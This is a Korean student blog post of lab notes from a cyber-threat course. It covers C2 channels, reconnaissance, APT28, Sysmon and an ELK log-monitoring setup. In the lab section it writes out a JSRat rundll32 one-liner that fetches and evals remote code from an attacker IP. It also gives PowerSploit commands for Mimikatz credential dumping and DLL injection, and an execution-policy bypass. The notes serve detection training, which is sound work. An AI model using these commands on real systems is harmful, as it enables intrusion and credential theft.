일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- 심리학
- 취약점
- opcode
- 치유
- static
- throws
- 여행계획
- Transition
- Navigation Component
- Android
- Shared Elements
- abstract
- 보안취약점
- 버킷리스트
- 심리여행
- 일상탈출
- bytecode
- 회피
- bytecode 분석
- 일상회피
- Interface
- 보안
- Recylcer
- IMPLEMENT
- jvm
- javap
- 여행
- HelloWorld
- ㅇ
- extends
- Today
- Total
패스트터틀
사이버 위협 공격의 단계(19.5.10) 본문
1일차(19.5.7)때 계속들었던것중 이어짐
C2(Command & Control)
c2가 필요한 이유는 악성코드와 상호작용을 위해 필요한것. 물론 악성코드는 자기 역할을 다하겠지만 추가적인 공격이 필요할경우도있기때문에 상호작용은 거의 필수적이라고 보면됨
공격자는 C2서버를 이용해서 악성코드 업데이트, 공격명령내릴수있음. C2연결 자체를 은닉하는것이 중요
왜냐하면 C2통신을 들키면 이미 은닉된 악성코드뿐만 드러날수있음.
대체적으로 위협그룹들은 정상적인 기업이나 온라인 서비스 처럼 유사한 이름을쓴다.
(Gmail등등..)
여하튼 이런식으로 사용자로 하여금 이런것을 오인하게끔 만드는것이 무조건적으로 필요하다.
C2는 피해컴퓨터랑 직접적으로 연결하지않음. 왜냐하면 들킬수있고 정말 하수적인 기법이기에
프록시서버를 이용하는데 피해시스템상에서 IP를 썼을때 IP노출이 일어나지 않음
(프록시IP밖에 얻지못함)(프록시서버는 대체적으로 악용이됨)
그래서 프록시 또한 일반 널려있는 서비스를 사용함..(Ex 사이트무엇인지 까먹음, censys)(디바이스 검색엔진)
(Google은 검색한걸 뿌려주고 자기들이 가진 기기 버젼이 무엇인지 알려줌)
(Moris warm처럼 or 구글처럼 ip정보의 기기들의 정보를 취득하기 위해서,취약한기기 찾음)
정찰단계에서 이런것을 사용해서 정찰함. 물론 C2서버를 본인들이 할수있지만 거의 안함.
C2 - Proxy,Proxy.. - Zombie,Zombie,Zombie.Zombie.Zombie....
C2서버의 IP를 숨기는 방법은 위에 방법이구(프록시서버)
HTTPS 기반의 은닉채널 운용을 함(HTTP는 약속된것이고 거의 전부)
Fully -> C2-악성코드 연결 끝까지 Semi -> C2-악성코드 한시간에 한번씩만
DNS기반
DNS레코드사용해서 서버 url가지고 http에 있는 데이터영역에서 데이터를 가지고 왔다갔다 하는게 아니고
메일서버 기반의 은닉채너 운용
공격자가 직접 구축한 메일 서버나 공개된 공용 전자 메일 서비스를 이용하여 C2서버와 악성코드 간 통 수행
단점 피해시스템에 설치된 악성코드에도 공격자 계정정보도 가지고있어야함
메일서버는 딜레이가 있음(메일을 계속 확인할수없기때문에), 명령을 내린뒤에 한시간마다 피해시스템으로 도착한 메일이 있는지 없는지
Play with Powershell
(정찰단계가 공격에서 제일로 중요하다.)
Maltego
여러 검색엔진,기기검색엔진 등으로부터 데이터를 수집하는 기능 제공
수집하는 기능 뿐만 아니라, 수집한 데이터인 개체(Empty)를 기반으로 시각화 기능 제공
각 개체(Empty)마다의 Transform(일종의 함수로 특정 기능 수행)을 제공하여 정보수집의 편이성을 제공
(Free version은 가입을 해야만 사용할수있어서 사용가능)
실습:
Avengers endgame과 infinity를 검색해서 나온 배우들을 관계에서 나왔었음
해커들은 이것을 XX.com 을 치면은 메일서버, 데이터서버 등등 많은 정보 IP들도 나옴(네트워크망구조를 전부얻을수있음)
PowerSploit - gitbuh에 있음
PowerShell 관리자권한 실행
Import-Module PowerSploit(안될때 Set-ExecutionPolicy Bypass)
Get-Command -Module PowerSploit(PowerSploit이 쓰는 모듈과 커멘드타입정보가 나옴)
Invoke-Mimikatz (윈도우7 비밀번호찾기)
https://github.com/gentilkiwi/mimikatz
윈도우7까지는 크레이데셔널정보가? 남아있어서 비밀번호를 풀수있다고함
[Dll Injection]
바탕화면에다가 dll놓고
Process Explorer 다운 : https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer
PowerSploit [Dll Injection]
Invoke-DllInjection -ProcessID [PID] -Dll [dll경로]
APT28
공격그룹 정보
APT28은 러시아 정부의 지원받는 국가 주도 해킹 러시아 그룹
그때 얘네들이 썼던 정상 도메인과 악성 도메인에 대한 정보를 보여줬음(Ex mail.ukr.net -> mail.ukrnet)
APT(Advanced Persistent Threat)
치밀하게 자신들의 행동을 숨기면서 목적을 달성하는것을 APT라고 보면됨.
대부분의 APT 공격은 공격의 시작 단계부터 계획에 따라 치밀하게 접근 및 공격을 수행
사회공학적 공격기법 : 웹,SNS 등의 발달을 통한 개인정보를 포함한 공격대상의 정보 수집 용이
APT공격단계
Reconnaissance - Initial - Compromise - Priviliege Excalation - Persistence - C2 - Asset DIscovery -
Lateral Movement - Data Exfitration
TTPs(Tactic별로 패턴화하기)
CTI & Threat Hunting
CTI(Cyber Threat Intelligence)
- 증거에 기반하여 기업의 IT 인프라나 정보자산에 위협이 될 수 있는 부분에 실행 가능한 조언(보안 조치 등)을 제시하기 위한 정보 -> 사이버 위협 대응에 도움이 될 수 있는 증거 지식&정보
CTI의 본질은 보안 정보를 공유하여 대응에 활용하는 커뮤니티 활동
OSINT : Open-Source Intelligence로 웹,SNS등 과 같이 누구나 접근할수 있는 공개된 출제로부터 얻은 정보
Cyber threat hunting is an active cyber defence activity.
EDR(Endpoint Detection and Response)
: 실시간으로 모니터링해서 기존의 패턴과 비교하여 감시하고 모니터링 및 대응을 제공하는 보안 솔루션
Sysmon
윈도우에서 기본으로 제공하는 이벤트 로그를 보완하기 위한 도구로, 프로세스 생성네트워크 연결 등의 이벤트 로그 확인 가능.
윈도우에서는 이벤트를 전부 거의 쌓는데 Sysmon을 사용하면 보안과 민감하게 관련된 이벤트 로그만 한번에 보기 편함
디바이스 드라이버 형태로 동작하며, Sysmon은 관리자 권한이 필요
아래는 sysmon기본설정으로 너무 많은 쓸데없는것이 많기때문에
아래 기본템플렛을 제공해서 필요한것만 쓰라고 github(위 egg파일에 포함됨)에 있음
config파일로 특정 확장자만 바꿀수있어서 자신이 선택하여 로그를 볼수있다.
Sysmon Configuration File은 sysmon에서는 xml,형태의 Configuration File을 이용하여 특정 이벤트 필터링 가능하다
커스터마이징하여 원하는 이벤트로그만 수집가능
Sysmon 탐지 종류
https://developer.microsoft.com/ko-kr/windows/downloads/virtual-machines
- 윈도우10 개발환경 만들때 위 링크에서 다운로드
- Sysmon.egg 압축풀어서 넣기
아래블로그는 더 배우는곳 about sysmon
cmd(관리자)
sysmon.exe -accepteula -i sysmonconfig-export.xml -l -n (설치)
sysmon.exe -u (Uninstall)
olecfexport
악성문서파일
Olecfinfo
정보확인
Oledump
-s 옵션 붙히면 데이터 스트림 및 개별 확인 가능
의심되는 부분을 s붙혀서 하면 더 자세히 볼수있다.
olevba
리눅스기반의 악성코드 분석? 프로그램 으로 예상
(REMnux: A Linux Toolkit for Reverse-Engineering and Analyzing Malware)
실행하면 메뉴얼있다고함, 분석할일이있을때 활용하면 된다고 얘기했음
아래 훼이크 악성코드 파일을 실행하면 Sysmon에서 확인해보기
Dev Lab에서 WireShark로 확인해보기
우선 CMD로 IP확인후
Dev(Powershell)
Powershell 으로
Jsrat.ps1에 실행후 0,0,0,0에 자기 IP입력
> Powershell.exe -ExecutionPolicy Bypass -File c:\Lab\JSRat\jsrat.ps1(해당 경로에 있어야함)
입력
LAB(WireShark,Sysmon)
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();h=new%20ActiveXObject("WinHttp.WinHttpRequest.5.1");h.Open("GET","http://192.168.56.101/connect",false);try{h.Send();B=h.ResponseText;eval(B);}catch(e){new%20ActiveXObject("WScript.Shell").Run("cmd /c taskkill /f /im rundll32.exe",0,true);}
입력(IP는 공격자IP)후 > cmd 실행
Wireshark 키고 > 위의 명령어 입력
그러면 Dev에서 Listening도중 Lab 접속들어오면 > Dev에서 ipconfig후에 결과받고 wireshark 추적중단 > 밑에 사진 과정 확인
Dev 리스닝 ... 도중에
EVENTVWR SYSMON에서 확인해보기
http://www.gnoti.com/index.php/2018/10/12/elk7/
ELK+WinLogBeat
CHROME설치 + jdk-8u211-windows-i586.exe 설치
ELK(ElasticSearch, Logstash, Kibana)
E : 기반 분산형 검색 및 분석 엔진
L : 데이터 처리 파이프라인으로, 다양한 노드로부터 데이터를 수집, 변환 및 보관하는 기능
K : 데이터 시각화 기능을 제공하며, 다양한 시각적 기능을 이용하여 데이터 탐색 및 실시간 분석 가능
STACK : 클라이언트에 설치하는 에이전트로, 다양한 유형의 데이터를 Elastic Search 및 Logstash에 전송하는 기능 == 수집기
Beat
Winlogbeats는 Eventlog를 전달해주는 역할을 한다. S
Kibana가 최신버젼에서 x86을 지원하지 않음 x64비트로 가상환경구성
ELK는 Chrome에서만 되고, jdk가 필요함(위의내용)
ELK 설치(ElasticSearch, Logstash, Kibana,Beats)
https://www.elastic.co/kr/downloads/
CMD를 4개를 킨다.(1,2,3,4분면으로)
★ 설치순서도 있으니 elastic 부터 설치해야한다.
아래과정 전부 cmd에서 해줌(나는 설치를 못해서 못함)
ElasticSearch는 데이터정렬해주는것인데 따로 옵션필요없음
> cd ela.. ticsearch.bat 하고 실행
> jvm 로딩하고 등등 기다려준다.
결과가 이런식으로 뜸 :
127.0.0.1:9200 chrome브라우저 들어가서 확인해보기
위 파일은 logtash -> bin 밑에다가 넣기
위 파일은 winlogbeat.yml로 winlogbeat에 넣고 기존 yml은 백업해두기
그리고 앞과 동일하게 kibana.bat logstash.bat 설치
Winlogbeat 실행 : winlogbeat.exe -c winlogbeat.yml
후에 Kibana키고서
( 브라우저에 [Kibana가 설치 된 서버 주소]:5601 를 입력하여 Kibana에 접속한다.)
indexing을 하면은 (indexpettern - visualize - eventid 로 )
[Kibana에서 Index-Pattern 만들기]
1) http://localhost:5601 접속
2) 왼쪽 아이콘 중 3번째 Dashboard 접속
3) Index-Pattern 적는 칸에 logstash-winlogs 쓴 후, Next
4) 필드 고르는 란에서 event.created 선택 후, 우측에 있는 Create Index Pattern 클릭하면 패턴 생성 완료
5) 왼쪽 아이콘 중 2번째 Visualize->Create a Visualize
시각화로 볼수있음. 이벤트로그를 확인해보면 시각화로 인해 편하게 볼수있고 또한 IP에 따라서 시각화하면 자기가 할수있는 기능들을 써서 눈에 보기 편하게 로그를 분석할수있음
연습할때는 VMware(VB보다 빠름,램높이고,최적화하면)하고 악성코드 sample구해서 이벤트 패턴확인해보면 좋은 경험이 될수도있음
그리고 필터링이 너무많거나 그러면 sysmon자체 필터링을 넣거나 ELK로그를 수정해보거나 하면 좋을수있음
ELK를 설치하고 Client의 몇십 몇백개를 연결하면 여러 클라이언트의 자료를 하나로 모을수있다.
대쉬보드로 잘설정한것들~~ 아래링크 참고
- 참고 링크 : https://cyberwardog.blogspot.com/2017/03/building-sysmon-dashboard-with-elk-stack.html
'Cyber Security(undergraduate) > cyber threat' 카테고리의 다른 글
윈도우시스템 기본과 사이버위협 공격 및 대응 실습 (19.5.9) (0) | 2019.05.09 |
---|---|
윈도우시스템 기본과 사이버위협 공격 및 대응 실습(19.5.8) (0) | 2019.05.08 |
지능형 사이버 위협 (19.5.7) (2) | 2019.05.07 |